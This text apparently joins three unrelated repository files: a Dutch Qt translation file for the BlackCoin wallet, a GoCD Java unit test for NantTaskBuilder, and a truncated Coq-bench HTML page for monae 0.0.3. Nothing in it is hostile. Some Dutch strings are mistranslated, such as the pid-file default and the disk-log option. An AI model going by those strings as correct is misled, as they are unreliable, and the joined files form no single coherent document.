line="+8"/> <source>to</source> <translation>naar</translation> </message> </context> <context> <name>WalletModel</name> <message> <location filename="../walletmodel.cpp" line="+212"/> <source>Sending...</source> <translation>Versturen...</translation> </message> </context> <context> <name>bitcoin-core</name> <message> <location filename="../bitcoinstrings.cpp" line="+171"/> <source>BlackCoin version</source> <translation>BlackCoin versie</translation> </message> <message> <location line="+1"/> <source>Usage:</source> <translation>Gebruik:</translation> </message> <message> <location line="+1"/> <source>Send command to -server or blackcoind</source> <translation>Verstuur commando naar -server of blackcoind</translation> </message> <message> <location line="+1"/> <source>List commands</source> <translation>Lijst van commando&apos;s</translation> </message> <message> <location line="+1"/> <source>Get help for a command</source> <translation>Toon hulp voor een commando</translation> </message> <message> <location line="-145"/> <source>Options:</source> <translation>Opties:</translation> </message> <message> <location line="+2"/> <source>Specify configuration file (default: blackcoin.conf)</source> <translation>Selecteer configuratie bestand (standaard: blackcoin.conf)</translation> </message> <message> <location line="+1"/> <source>Specify pid file (default: blackcoind.pid)</source> <translation>Selecteer pid bestand (standaard: blackcoin.conf)</translation> </message> <message> <location line="+2"/> <source>Specify wallet file (within data directory)</source> <translation>Specificeer het portemonnee bestand (vanuit de gegevensmap)</translation> </message> <message> <location line="-1"/> <source>Specify data directory</source> <translation>Stel datamap in</translation> </message> <message> <location line="-25"/> <source>%s, you must set a rpcpassword in the configuration file: %s It is recommended you use the following random password: rpcuser=blackcoinrpc rpcpassword=%s (you do not need to remember this password) The username and password MUST NOT be the same. If the file does not exist, create it with owner-readable-only file permissions. It is also recommended to set alertnotify so you are notified of problems; for example: alertnotify=echo %%s | mail -s &quot;BlackCoin Alert&quot; admin@foo.com </source> <translation type="unfinished"/> </message> <message> <location line="+27"/> <source>Set database cache size in megabytes (default: 25)</source> <translation>Stel databankcachegrootte in in megabytes (standaard: 25)</translation> </message> <message> <location line="+1"/> <source>Set database disk log size in megabytes (default: 100)</source> <translation>Stel database cache grootte in in megabytes (standaard: 100)</translation> </message> <message> <location line="+5"/> <source>Listen for connections on &lt;port&gt; (default: 15714 or testnet: 25714)</source> <translation>Luister voor verbindingen op &lt;poort&gt; (standaard: 15714 of testnet: 25714)</translation> </message> <message> <location line="+1"/> <source>Maintain at most &lt;n&gt; connections to peers (default: 125)</source> <translation>Onderhoud maximaal &lt;n&gt; verbindingen naar peers (standaard: 125)</translation> </message> <message> <location line="+3"/> <source>Connect to a node to retrieve peer addresses, and disconnect</source> <translation>Verbind naar een node om adressen van anderen op te halen, en verbreek vervolgens de verbinding</translation> </message> <message> <location line="+1"/> <source>Specify your own public address</source> <translation>Specificeer uw eigen publieke adres</translation> </message> <message> <location line="+4"/> <source>Bind to given address. Use [host]:port notation for IPv6</source> <translation>Koppel aan gegeven adres. Gebruik [host]:poort notatie voor IPv6</translation> </message> <message> <location line="+1"/> <source>Query for peer addresses via DNS lookup, if low on addresses (default: 1 unless -connect)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Always query for peer addresses via DNS lookup (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Threshold for disconnecting misbehaving peers (default: 100)</source> <translation>Drempel om verbinding te verbreken naar zich misdragende peers (standaard: 100)</translation> </message> <message> <location line="+1"/> <source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source> <translation>Aantal seconden dat zich misdragende peers niet opnieuw mogen verbinden (standaard: 86400)</translation> </message> <message> <location line="-35"/> <source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source> <translation>Er is een fout opgetreden tijdens het instellen van de inkomende RPC-poort %u op IPv4: %s</translation> </message> <message> <location line="+62"/> <source>Listen for JSON-RPC connections on &lt;port&gt; (default: 15715 or testnet: 25715)</source> <translation>Wacht op JSON-RPC-connecties op &lt;poort&gt; (standaard: 15715 of testnet: 25715) </translation> </message> <message> <location line="-16"/> <source>Accept command line and JSON-RPC commands</source> <translation>Aanvaard commandoregel- en JSON-RPC-commando&apos;s</translation> </message> <message> <location line="+1"/> <source>Run in the background as a daemon and accept commands</source> <translation>Draai in de achtergrond als daemon en aanvaard commando&apos;s</translation> </message> <message> <location line="+1"/> <source>Use the test network</source> <translation>Gebruik het testnetwerk</translation> </message> <message> <location line="-23"/> <source>Accept connections from outside (default: 1 if no -proxy or -connect)</source> <translation>Accepteer verbindingen van buitenaf (standaard: 1 als geen -proxy of -connect is opgegeven)</translation> </message> <message> <location line="-28"/> <source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source> <translation>Er is een fout opgetreden tijdens het instellen van de inkomende RPC-poort %u op IPv6, terugval naar IPv4: %s</translation> </message> <message> <location line="+93"/> <source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source> <translation>Stel maximale grootte van high-priority/low-fee transacties in bytes (standaard: 27000)</translation> </message> <message> <location line="+15"/> <source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source> <translation>Waarschuwing: -paytxfee is zeer hoog ingesteld. Dit zijn de transactiekosten die u betaalt bij het versturen van een transactie.</translation> </message> <message> <location line="-103"/> <source>Warning: Please check that your computer&apos;s date and time are correct! If your clock is wrong BlackCoin will not work properly.</source> <translation>Waarschuwing: Controleer of de datum en tijd van de computer juist zijn! Als uw klok verkeerd is BlackCoin zal niet goed werken.</translation> </message> <message> <location line="+130"/> <source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source> <translation>Waarschuwing: Fout bij het lezen van wallet.dat! Alle sleutels zijn in goede orde uitgelezen, maar transactiedata of adresboeklemma&apos;s zouden kunnen ontbreken of fouten bevatten.</translation> </message> <message> <location line="-16"/> <source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source> <translation>Waarschuwing: wallet.dat is corrupt, data is veiliggesteld! Originele wallet.dat is opgeslagen als wallet.{tijdstip}.bak in %s; als uw balans of transacties incorrect zijn dient u een backup terug te zetten.</translation> </message> <message> <location line="-34"/> <source>Attempt to recover private keys from a corrupt wallet.dat</source> <translation>Poog de geheime sleutels uit een corrupt wallet.dat bestand terug te halen</translation> </message> <message> <location line="+5"/> <source>Block creation options:</source> <translation>Blokcreatie-opties:</translation> </message> <message> <location line="-67"/> <source>Connect only to the specified node(s)</source> <translation>Verbind alleen naar de gespecificeerde node(s)</translation> </message> <message> <location line="+4"/> <source>Discover own IP address (default: 1 when listening and no -externalip)</source> <translation>Ontdek eigen IP-adres (standaard: 1 als er wordt geluisterd en geen -externalip is opgegeven)</translation> </message> <message> <location line="+101"/> <source>Failed to listen on any port. Use -listen=0 if you want this.</source> <translation>Mislukt om op welke poort dan ook te luisteren. Gebruik -listen=0 as u dit wilt.</translation> </message> <message> <location line="-2"/> <source>Invalid -tor address: &apos;%s&apos;</source> <translation>Ongeldig-tor adres: &apos;%s&apos;</translation> </message> <message> <location line="+4"/> <source>Invalid amount for -reservebalance=&lt;amount&gt;</source> <translation>Ongeldig bedrag voor -reservebalance = &lt;bedrag&gt;</translation> </message> <message> <location line="-89"/> <source>Maximum per-connection receive buffer, &lt;n&gt;*1000 bytes (default: 5000)</source> <translation>Maximum per-connectie ontvangstbuffer, &lt;n&gt;*1000 bytes (standaard: 5000)</translation> </message> <message> <location line="+1"/> <source>Maximum per-connection send buffer, &lt;n&gt;*1000 bytes (default: 1000)</source> <translation>Maximum per-connectie zendbuffer, &lt;n&gt;*1000 bytes (standaard: 1000)</translation> </message> <message> <location line="-16"/> <source>Only connect to nodes in network &lt;net&gt; (IPv4, IPv6 or Tor)</source> <translation>Verbind alleen naar nodes in netwerk &lt;net&gt; (IPv4, IPv6 of Tor)</translation> </message> <message> <location line="+30"/> <source>Prepend debug output with timestamp</source> <translation>Voeg een tijdstempel toe aan debug output</translation> </message> <message> <location line="+40"/> <source>SSL options: (see the Bitcoin Wiki for SSL setup instructions)</source> <translation>SSL-opties: (zie de Bitcoin wiki voor SSL-instructies)</translation> </message> <message> <location line="-38"/> <source>Send trace/debug info to console instead of debug.log file</source> <translation>Stuur trace/debug-info naar de console in plaats van het debug.log bestand</translation> </message> <message> <location line="+34"/> <source>Set maximum block size in bytes (default: 250000)</source> <translation>Stel maximale block grootte in bytes in (standaard: 250000)</translation> </message> <message> <location line="-1"/> <source>Set minimum block size in bytes (default: 0)</source> <translation>Stel minimum blokgrootte in in bytes (standaard: 0)</translation> </message> <message> <location line="-34"/> <source>Shrink debug.log file on client startup (default: 1 when no -debug)</source> <translation>Verklein debug.log-bestand bij het opstarten van de client (standaard: 1 als geen -debug)</translation> </message> <message> <location line="-41"/> <source>Specify connection timeout in milliseconds (default: 5000)</source> <translation>Specificeer de time-outtijd in milliseconden (standaard: 5000)</translation> </message> <message> <location line="+28"/> <source>Use UPnP to map the listening port (default: 0)</source> <translation>Gebruik UPnP om de luisterende poort te mappen (standaard: 0)</translation> </message> <message> <location line="-1"/> <source>Use UPnP to map the listening port (default: 1 when listening)</source> <translation>Gebruik UPnP om de luisterende poort te mappen (standaard: 1 als er wordt geluisterd)</translation> </message> <message> <location line="-25"/> <source>Use proxy to reach tor hidden services (default: same as -proxy)</source> <translation>Gebruik proxy tor verborgen diensten (standaard: zelfde als -proxy)</translation> </message> <message> <location line="+45"/> <source>Username for JSON-RPC connections</source> <translation>Gebruikersnaam voor JSON-RPC-verbindingen</translation> </message> <message> <location line="+54"/> <source>Verifying database integrity...</source> <translation>Database integriteit wordt geverifieërd</translation> </message> <message> <location line="+42"/> <source>Error: Wallet locked, unable to create transaction!</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds!</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Error: Transaction creation failed!</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Error: The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Warning</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Information</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Warning: This version is obsolete, upgrade required!</source> <translation>Waarschuwing: Deze versie is verouderd, een upgrade is vereist!</translation> </message> <message> <location line="-52"/> <source>wallet.dat corrupt, salvage failed</source> <translation>wallet.dat corrupt, veiligstellen mislukt</translation> </message> <message> <location line="-59"/> <source>Password for JSON-RPC connections</source> <translation>Wachtwoord voor JSON-RPC-verbindingen</translation> </message> <message> <location line="-47"/> <source>Connect through SOCKS5 proxy</source> <translation type="unfinished"/> </message> <message> <location line="+17"/> <source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source> <translation>Synchroniseer tijd met andere connecties. Uitschakelen als de tijd op uw systeem nauwkeurig is bijv. synchroniseren met NTP (standaard: 1)</translation> </message> <message> <location line="+12"/> <source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source> <translation>Bij het maken van transacties, negeer ingangen met waarde minder dan dit (standaard: 0,01)</translation> </message> <message> <location line="+6"/> <source>Output debugging information (default: 0, supplying &lt;category&gt; is optional)</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>If &lt;category&gt; is not supplied, output all debugging information.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>&lt;category&gt; can be:</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Enter regression test mode, which uses a special chain in which blocks can be solved instantly. This is intended for regression testing tools and app development.</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Allow JSON-RPC connections from specified IP address</source> <translation>Sta JSON-RPC verbindingen van opgegeven IP-adres toe</translation> </message> <message> <location line="+1"/> <source>Send commands to node running on &lt;ip&gt; (default: 127.0.0.1)</source> <translation>Verstuur commando&apos;s naar proces dat op &lt;ip&gt; draait (standaard: 127.0.0.1)</translation> </message> <message> <location line="+1"/> <source>Wait for RPC server to start</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Set the number of threads to service RPC calls (default: 4)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source> <translation>Voer commando uit zodra het beste blok verandert (%s in cmd wordt vervangen door blockhash)</translation> </message> <message> <location line="+3"/> <source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source> <translation>Voer opdracht uit zodra een portemonneetransactie verandert (%s in cmd wordt vervangen door TxID)</translation> </message> <message> <location line="+3"/> <source>Require a confirmations for change (default: 0)</source> <translation>Vereist een bevestiging voor verandering (standaard: 0)</translation> </message> <message> <location line="+2"/> <source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source> <translation>Voer opdracht uit zodra een relevante waarschuwing wordt ontvangen (%s in cmd wordt vervangen door bericht)</translation> </message> <message> <location line="+3"/> <source>Upgrade wallet to latest format</source> <translation>Vernieuw portemonnee naar nieuwste versie</translation> </message> <message> <location line="+1"/> <source>Set key pool size to &lt;n&gt; (default: 100)</source> <translation>Stel sleutelpoelgrootte in op &lt;n&gt; (standaard: 100)</translation> </message> <message> <location line="+1"/> <source>Rescan the block chain for missing wallet transactions</source> <translation>Doorzoek de blokketen op ontbrekende portemonnee-transacties</translation> </message> <message> <location line="+3"/> <source>How thorough the block verification is (0-6, default: 1)</source> <translation>Hoe grondig het blokverificatie is (0-6, standaard: 1)</translation> </message> <message> <location line="+1"/> <source>Imports blocks from external blk000?.dat file</source> <translation>Importeer blokken van extern blk000?.dat bestand</translation> </message> <message> <location line="+1"/> <source>Keep at most &lt;n&gt; MiB of unconnectable blocks in memory (default: %u)</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Use OpenSSL (https) for JSON-RPC connections</source> <translation>Gebruik OpenSSL (https) voor JSON-RPC-verbindingen</translation> </message> <message> <location line="+1"/> <source>Server certificate file (default: server.cert)</source> <translation>Certificaat-bestand voor server (standaard: server.cert)</translation> </message> <message> <location line="+1"/> <source>Server private key (default: server.pem)</source> <translation>Geheime sleutel voor server (standaard: server.pem)</translation> </message> <message> <location line="+5"/> <source>Error: Unsupported argument -socks found. Setting SOCKS version isn&apos;t possible anymore, only SOCKS5 proxies are supported.</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Initialization sanity check failed. BlackCoin is shutting down.</source> <translation type="unfinished"/> </message> <message> <location line="+20"/> <source>Error loading block database</source> <translation type="unfinished"/> </message> <message> <location line="+28"/> <source>Error: Wallet unlocked for staking only, unable to create transaction.</source> <translation>Fout: Portemonnee ontgrendeld voor alleen staking, niet in staat om de transactie te maken.</translation> </message> <message> <location line="+16"/> <source>Error: Disk space is low!</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>This is a pre-release test build - use at your own risk - do not use for mining or merchant applications</source> <translation type="unfinished"/> </message> <message> <location line="-168"/> <source>This help message</source> <translation>Dit helpbericht</translation> </message> <message> <location line="+104"/> <source>Wallet %s resides outside data directory %s.</source> <translation>Portemonnee %s bevindt zich buiten de datamap %s.</translation> </message> <message> <location line="+35"/> <source>Unable to bind to %s on this computer (bind returned error %d, %s)</source> <translation>Niet in staat om aan %s te binden op deze computer (bind gaf error %d, %s)</translation> </message> <message> <location line="-129"/> <source>Allow DNS lookups for -addnode, -seednode and -connect</source> <translation>Sta DNS-naslag toe voor -addnode, -seednode en -connect</translation> </message> <message> <location line="+125"/> <source>Loading addresses...</source> <translation>Adressen aan het laden...</translation> </message> <message> <location line="-10"/> <source>Error loading wallet.dat: Wallet corrupted</source> <translation>Fout bij laden wallet.dat: Portemonnee corrupt</translation> </message> <message> <location line="+4"/> <source>Error loading wallet.dat: Wallet requires newer version of BlackCoin</source> <translation>Fout bij laden van wallet.dat: Portemonnee vereist een nieuwere versie van BlackCoin</translation> </message> <message> <location line="+1"/> <source>Wallet needed to be rewritten: restart BlackCoin to complete</source> <translation>Portemonnee moet herschreven worden: herstart BlackCoin om te voltooien</translation> </message> <message> <location line="+1"/> <source>Error loading wallet.dat</source> <translation>Fout bij laden wallet.dat</translation> </message> <message> <location line="-15"/> <source>Invalid -proxy address: &apos;%s&apos;</source> <translation>Ongeldig -proxy adres: &apos;%s&apos;</translation> </message> <message> <location line="-1"/> <source>Unknown network specified in -onlynet: &apos;%s&apos;</source> <translation>Onbekend netwerk gespecificeerd in -onlynet: &apos;%s&apos;</translation> </message> <message> <location line="+3"/> <source>Cannot resolve -bind address: &apos;%s&apos;</source> <translation>Kan -bind adres niet herleiden: &apos;%s&apos;</translation> </message> <message> <location line="+2"/> <source>Cannot resolve -externalip address: &apos;%s&apos;</source> <translation>Kan -externlip adres niet herleiden: &apos;%s&apos;</translation> </message> <message> <location line="-22"/> <source>Invalid amount for -paytxfee=&lt;amount&gt;: &apos;%s&apos;</source> <translation>Ongeldig bedrag voor -paytxfee=&lt;bedrag&gt;: &apos;%s&apos;</translation> </message> <message> <location line="+58"/> <source>Sending...</source> <translation>Versturen...</translation> </message> <message> <location line="+5"/> <source>Invalid amount</source> <translation>Ongeldig bedrag</translation> </message> <message> <location line="+1"/> <source>Insufficient funds</source> <translation>Ontoereikend saldo</translation> </message> <message> <location line="-40"/> <source>Loading block index...</source> <translation>Blokindex aan het laden...</translation> </message> <message> <location line="-109"/> <source>Add a node to connect to and attempt to keep the connection open</source> <translation>Voeg een node om naar te verbinden toe en probeer de verbinding open te houden</translation> </message> <message> <location line="+124"/> <source>Unable to bind to %s on this computer. BlackCoin is probably already running.</source> <translation>Niet mogelijk om %s op deze computer. BlackCoin is waarschijnlijk al geopened.</translation> </message> <message> <location line="-101"/> <source>Fee per KB to add to transactions you send</source> <translation>Vergoeding per KB toe te voegen aan de transacties die u verzendt</translation> </message> <message> <location line="+33"/> <source>Minimize weight consumption (experimental) (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>How many blocks to check at startup (default: 500, 0 = all)</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Acceptable ciphers (default: TLSv1.2+HIGH:TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!3DES:@STRENGTH)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Warning: Deprecated argument -debugnet ignored, use -debug=net</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Invalid amount for -mininput=&lt;amount&gt;: &apos;%s&apos;</source> <translation>Ongeldig bedrag voor -mininput = &lt;bedrag&gt;: &apos;%s&apos;</translation> </message> <message> <location line="+3"/> <source>Cannot obtain a lock on data directory %s. BlackCoin is probably already running.</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Error initializing wallet database environment %s!</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>Loading wallet...</source> <translation>Portemonnee aan het laden...</translation> </message> <message> <location line="+8"/> <source>Cannot downgrade wallet</source> <translation>Kan portemonnee niet downgraden</translation> </message> <message> <location line="+1"/> <source>Cannot write default address</source> <translation>Kan standaardadres niet schrijven</translation> </message> <message> <location line="+1"/> <source>Rescanning...</source> <translation>Blokketen aan het doorzoeken...</translation> </message> <message> <location line="+2"/> <source>Done loading</source> <translation>Klaar met laden</translation> </message> <message> <location line="-159"/> <source>To use the %s option</source> <translation>Om de %s optie te gebruiken</translation> </message> <message> <location line="+186"/> <source>Error</source> <translation>Fout</translation> </message> <message> <location line="-18"/> <source>You must set rpcpassword=&lt;password&gt; in the configuration file: %s If the file does not exist, create it with owner-readable-only file permissions.</source> <translation>U dient rpcpassword=&lt;wachtwoord&gt; in te stellen in het configuratiebestand: %s Als het bestand niet bestaat, maak het dan aan, met een alleen-lezen permissie.</translation> </message> </context> </TS>
{ "content_hash": "81995d30d3818a866282dc428cc7511c", "timestamp": "", "source": "github", "line_count": 3331, "max_line_length": 405, "avg_line_length": 38.07265085559892, "alnum_prop": 0.6253193502602113, "repo_name": "som4paul/BolieC", "id": "9f5f98a8ab8b3fee7b242245a0f5da6832b72ceb", "size": "126834", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/qt/locale/bitcoin_nl.ts", "mode": "33188", "license": "mit", "language": [ { "name": "Assembly", "bytes": "51312" }, { "name": "C", "bytes": "34678" }, { "name": "C++", "bytes": "2513239" }, { "name": "CSS", "bytes": "1127" }, { "name": "HTML", "bytes": "50620" }, { "name": "Makefile", "bytes": "12660" }, { "name": "NSIS", "bytes": "6077" }, { "name": "Objective-C", "bytes": "858" }, { "name": "Objective-C++", "bytes": "3517" }, { "name": "Python", "bytes": "54355" }, { "name": "QMake", "bytes": "27414" }, { "name": "Roff", "bytes": "12730" }, { "name": "Shell", "bytes": "9092" } ], "symlink_target": "" }
package com.thoughtworks.go.server.service.builders; import com.thoughtworks.go.config.NantTask; import com.thoughtworks.go.domain.NullPipeline; import com.thoughtworks.go.domain.Pipeline; import com.thoughtworks.go.domain.builder.CommandBuilder; import com.thoughtworks.go.server.service.UpstreamPipelineResolver; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.condition.DisabledOnOs; import org.junit.jupiter.api.condition.EnabledOnOs; import org.junit.jupiter.api.condition.OS; import java.io.File; import static org.assertj.core.api.Assertions.assertThat; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.verifyNoMoreInteractions; class NantTaskBuilderTest { private Pipeline pipeline = new NullPipeline(); private UpstreamPipelineResolver resolver; private NantTaskBuilder nantTaskBuilder; private BuilderFactory builderFactory; @BeforeEach void setUp() { resolver = mock(UpstreamPipelineResolver.class); builderFactory = mock(BuilderFactory.class); nantTaskBuilder = new NantTaskBuilder(); } @AfterEach void tearDown() { verifyNoMoreInteractions(resolver); } @Test void shouldSetTargetWhenTargetIsSpecified() { NantTask nantTask = new NantTask(); nantTask.setTarget("unit-test"); CommandBuilder commandBuilder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, nantTask, pipeline, resolver); assertThat(commandBuilder.getArgs()).isEqualTo("unit-test"); } @Test void shouldUseDefaultWorkingDirectoryByDefault() { NantTask nantTask = new NantTask(); CommandBuilder commandBuilder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, nantTask, ExecTaskBuilderTest.pipelineStub("label", "/cruise"), resolver); assertThat(commandBuilder.getWorkingDir()).isEqualTo(new File("/cruise")); } @Test @DisabledOnOs(OS.WINDOWS) void shouldUseAbsoluteNantPathIfAbsoluteNantPathIsSpecifiedOnLinux() { NantTask nantTask = new NantTask(); nantTask.setNantPath("/usr/bin"); CommandBuilder builder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, nantTask, pipeline, resolver); assertThat(new File(builder.getCommand())).isEqualTo(new File("/usr/bin/nant")); } @Test @EnabledOnOs(OS.WINDOWS) void shouldUseAbsoluteNantPathIfAbsoluteNantPathIsSpecifiedOnWindows() { NantTask nantTask = new NantTask(); nantTask.setNantPath("c:\\nantdir"); CommandBuilder builder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, nantTask, pipeline, resolver); assertThat(new File(builder.getCommand())).isEqualTo(new File("c:\\nantdir\\nant")); } @Test void shouldJoinNantPathWithWorkingDirectoryIfRelativeNantPathIsSpecified() { NantTask nantTask = new NantTask(); nantTask.setNantPath("lib"); CommandBuilder builder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, nantTask, pipeline, resolver); assertThat(new File(builder.getCommand())).isEqualTo(new File("lib/nant")); } @Test void shouldDealWithSpacesInNantPath() { NantTask nantTask = new NantTask(); nantTask.setNantPath("lib/nant 1.0"); nantTask.setBuildFile("ccnet default.build"); CommandBuilder builder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, nantTask, pipeline, resolver); assertThat(new File(builder.getCommand())).isEqualTo(new File("lib/nant 1.0/nant")); assertThat(builder.getArgs()).isEqualTo("-buildfile:\"ccnet default.build\""); } @Test @DisabledOnOs(OS.WINDOWS) void nantTaskShouldNormalizeWorkingDirectory() { NantTask nantTask = new NantTask(); nantTask.setWorkingDirectory("folder1\\folder2"); CommandBuilder builder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, nantTask, ExecTaskBuilderTest.pipelineStub("label", "/var/cruise-agent/pipelines/cruise"), resolver); assertThat(builder.getWorkingDir()).isEqualTo(new File("/var/cruise-agent/pipelines/cruise/folder1/folder2")); } @Test void shouldSetNAntWorkingDirectoryAbsolutelyIfSpecified() { final File absoluteFile = new File("project").getAbsoluteFile(); NantTask task = new NantTask(); task.setWorkingDirectory(absoluteFile.getPath()); CommandBuilder builder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, task, pipeline, resolver); assertThat(builder.getWorkingDir()).isEqualTo(absoluteFile); } @Test void nantTaskShouldNormalizeBuildFile() { NantTask task = new NantTask(); task.setBuildFile("pavan\\build.xml"); CommandBuilder builder = (CommandBuilder) nantTaskBuilder.createBuilder(builderFactory, task, pipeline, resolver); assertThat(builder.getArgs()).isEqualTo("-buildfile:\"pavan/build.xml\""); } }
{ "content_hash": "d5e2cae4e9323a4beec68f246ab9f920", "timestamp": "", "source": "github", "line_count": 125, "max_line_length": 197, "avg_line_length": 40.696, "alnum_prop": 0.731079221545115, "repo_name": "gocd/gocd", "id": "fa4ac373c06e6660ee1ee2d712287fd4d6f98d66", "size": "5688", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "server/src/test-fast/java/com/thoughtworks/go/server/service/builders/NantTaskBuilderTest.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "474" }, { "name": "CSS", "bytes": "1578" }, { "name": "EJS", "bytes": "1626" }, { "name": "FreeMarker", "bytes": "48379" }, { "name": "Groovy", "bytes": "2439752" }, { "name": "HTML", "bytes": "275640" }, { "name": "Java", "bytes": "21175794" }, { "name": "JavaScript", "bytes": "837258" }, { "name": "NSIS", "bytes": "24216" }, { "name": "Ruby", "bytes": "426376" }, { "name": "SCSS", "bytes": "661872" }, { "name": "Shell", "bytes": "13847" }, { "name": "TypeScript", "bytes": "4435018" }, { "name": "XSLT", "bytes": "206746" } ], "symlink_target": "" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>monae: Not compatible 👼</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.5.2 / monae - 0.0.3</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> monae <small> 0.0.3 <span class="label label-info">Not compatible 👼</span> </small> </h1> <p>📅 <em><script>document.write(moment("2022-11-15 13:24:57 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-11-15 13:24:57 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-num base Num library distributed with the OCaml compiler base-threads base base-unix base camlp5 7.14 Preprocessor-pretty-printer of OCaml conf-findutils 1 Virtual package relying on findutils conf-perl 2 Virtual package relying on perl coq 8.5.2 Formal proof management system num 0 The Num library for arbitrary-precision integer and rational arithmetic ocaml 4.04.2 The OCaml compiler (virtual package) ocaml-base-compiler 4.04.2 Official 4.04.2 release ocaml-config 1 OCaml Switch Configuration # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;reynald.affeldt@aist.go.jp&quot; homepage: &quot;https://github.com/affeldt-aist/monae&quot; bug-reports: &quot;https://github.com/affeldt-aist/monae/issues&quot; dev-repo: &quot;git+https://github.com/affeldt-aist/monae.git&quot; license: &quot;GPL-3.0-or-later&quot; authors: [ &quot;Reynald Affeldt&quot; &quot;David Nowak&quot; &quot;Takafumi Saikawa&quot; &quot;Jacques Garrigue&quot; &quot;Celestine Sauvage&quot; ] build: [ [make &quot;-j%{jobs}%&quot;] ] install: [ [make &quot;install&quot;] ] depends: [ &quot;coq&quot; { &gt;= &quot;8.10&quot; &amp; &lt; &quot;8.11~&quot; } &quot;coq-infotheo&quot; { &gt;= &quot;0.0.5&quot; &amp; &lt; &quot;0.0.7&quot; } ] synopsis: &quot;Monae&quot; description: &quot;&quot;&quot; This repository contains a formalization of monads including several models, examples of monadic equational reasoning, and an application to program semantics. &quot;&quot;&quot; tags: [ &quot;category:Computer Science/Semantics and Compilation/Semantics&quot; &quot;keyword: monads&quot; &quot;keyword: effects&quot; &quot;keyword: probability&quot; &quot;logpath:monae&quot; &quot;date:2019-11-09&quot; ] url { http: &quot;https://github.com/affeldt-aist/monae/archive/0.0.3.tar.gz&quot; checksum: &quot;sha512=8f8e97b32100b8393b20dbfbaa715b933416fbdfbe42e1c6acc0b6b37920f39f58c59c9c3c2e65549849080c3ce511bf7f5260f785ecd549b6dea1193a178f53&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> 